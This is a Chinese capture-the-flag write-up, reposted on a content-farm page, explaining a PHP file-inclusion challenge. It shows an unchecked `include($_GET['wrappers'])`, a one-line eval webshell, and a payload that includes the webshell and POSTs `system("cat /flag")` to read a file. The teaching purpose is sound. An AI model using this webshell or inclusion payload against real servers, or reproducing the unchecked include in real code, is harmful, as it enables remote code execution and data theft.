当前位置: 首页 > news >正文

高端网站设计哪个好商机创业网

高端网站设计哪个好,商机创业网,怎样快速做网站,阿里云虚拟机 wordpress源码分析 讲解源码前, 先讲一下 PHP 文件包含漏洞 漏洞原理 文件包含用于 包含内容和函数 用于减少重复代码 示例 <?php$file $_GET[file];include($file); ?>因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题 http://www.xxx.com/main.php?…

源码分析

讲解源码前, 先讲一下 PHP 文件包含漏洞

漏洞原理

  • 文件包含用于

    • 包含内容和函数

    • 用于减少重复代码

  • 示例

    • <?php$file = $_GET['file'];include($file);
      ?>
      
    • 因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题

    • http://www.xxx.com/main.php?file=x.php
      
  • 文件包含漏洞分类

    • 本地文件包含漏洞-LIF

      • 包含的文件在服务器本地
    • 远程文件包含漏洞-RLF

      • 包含的文件在第三方服务

      • 需要php.ini中的 allow_url_fopenallow_url_include 为ON

      • http://www.xxx.com/main.php?file=http://www.yyy.com/file.php
        
  • PHP常见的文件包含的函数

    • include

      • 当使用该函数包含文件时, 只有代码执行到include()函数时才将文件包含进来, 发生错误时之给出一个警告, 继续向下执行
    • include_once

      • 功能与Include()相同, 区别在于当重复调用同一文件时,程序只调用一次
    • require

      • require()与include()的区别在于require( )执行如果发生错误, 函数会输出错误信
    • require_once

      • 功能与require()相同, 区别在于当重复调用同一文件时, 程序只调用一次

  • 通过上文大致知道 PHP 文件包含的分类(本地文件包含 与 远程文件包含)

    • 由于本题开启了如下配置

      • allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
        allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)
        
    • 所以可以使用远程文件包含的

  • 接着开始分析源码

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      
    • 源码其实很短, 除了显示代码的语句 highlight_file(__FILE__);

    • 就是 isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';

      • 即检测是否 GET 传入 wrappers 参数

        • 如果有的话就是用 include() 函数包含这个参数文件

        • 即使参数中的文件也在该文件执行

解题分析

  • 通过这个语句 isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; 就可以进行文件包含了

  • 本题因为配置 allow_url_include=On, allow_url_fopen=On 所以可以包含远程文件

    • 比如包含服务器上的一句话木马

    • 但是这里探姬已经在当前目录在放了一个 backdoor.txt 的后门

      • 即一句话木马
    • 所以这里就不使用服务器上的马了

    • 不过也可以通过包含百度演示一下

      • http://靶机地址/?wrappers=http://www.baidu.com
        
      • 在这里插入图片描述

      • 这里放大一下, 方便把题目和百度的页面一起截进去

  • 除此之外, 探姬还留了一个 phpinfo.txt 文件

    • 里面的内容是 <?php phpinfo(); ?>

    • 我们可以通过包含这个文件, 参看当前PHP的信息

    • 这里就可以看到 allow_url_include, allow_url_fopen 是开启状态

    • 在这里插入图片描述

解题步骤

  • 上文通过 百度 演示了远程文件包含

  • 接下来就通过本地文件包含来获取flag

    • 直接使用探姬留下的后文文件 backdoor.txt

    • http:/靶机地址/?wrappers=./backdoor.txt
      
  • 这样就结束了?

    • Flag在哪?

    • 怎么没有出现?

  • 如果你有这样的疑问, 或许你还没理解文件包含的意思

    • 文件包含只是把传入的文件包含在原本的代码中, 并且运行

    • 但是backdoor.txt 有什么呢?

      • 如下

        • <?php @eval($_POST['ctf']); ?>
          
      • 发现又什么了吗? -> @eval($_POST['ctf']);

        • POST 传入的参数会被 eval 当做命令执行

        • eval 只是执行 PHP 命令的

        • 为了执行系统命令, 我们还需要嵌套一层 system() 函数

        • ctf 传入的参数应该是 system("");, 引号中间加入系统命令, 如 ls

  • 也就是在 ?wrappers=./backdoor.txt 传参后, 当前页面的源码执行后, 又执行了 backdoor.txt 的内容

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      <?php @eval($_POST['ctf']); ?>
      
    • 我们就可以接着一同 POST 请求传入参数 ctf

  • 最后 Payload 报文如下

    • /?wrappers=./backdoor.txt
      ctf=system("cat /flag");
      
    • 在这里插入图片描述

http://www.dtcms.com/a/606973.html

相关文章:

  • 河源做网站优化线上平面设计培训班
  • 从概念到实践:解锁 CrewAI 多智能体协作的强大潜能
  • wordpress后台模板位置益阳seo网站建设
  • 灵台县住房和城乡建设局网站谷歌外贸平台有哪些
  • 公司门户网站建设方案网站可以做砍价软件吗
  • qq推广网站北京公司网站设计价格
  • 如何使用图片素材快速生成一个卡片类型的博客页面:从需求到实现的完整指南
  • 网站建设的工作wordpress适配熊掌号
  • 网站开发和合同范本二维码设计软件
  • 关于网站关停的申请企业网站怎么扣费的
  • 非安防领域调试心得-兼顾收敛速度和过渡平滑效果的一些优化措施
  • asp网站后台密码破解项目名称
  • pink老师html5+css3day09
  • .net做网站开发网站后台怎么上传表格
  • .NET 9使用Serilog
  • 网站升级维护通知怎样做天猫 淘宝网站导购
  • 水果网站设计论文优舟网站建设
  • 【IP】公有&私有IP地址?
  • 《道德经》第五十六章
  • adb devices查看不到设备 是线长超过1米的原因?
  • 可视化的做网站的app泰安网站建设制作电话号码
  • dw个人网站模板外国语学院英文网站建设
  • 解锁 AI 开发技能:环境搭建、工具详解与第一个 AI 程序实战
  • 在 VSCode 中:lvgl库函数和lv_drivers以静态链接库的形式参与c应用项目的运行
  • 清华任天令团队《Nature》子刊: 基于无感化电子的运动非束缚动态心电系统
  • dify的是什么?怎么使用?
  • 湖仓一体部署
  • 地接做的网站企业为什么做企业网站和推广
  • STM32 HAL库原子操作编译问题解决指南
  • 珠海门户网站建设多少钱网站做前端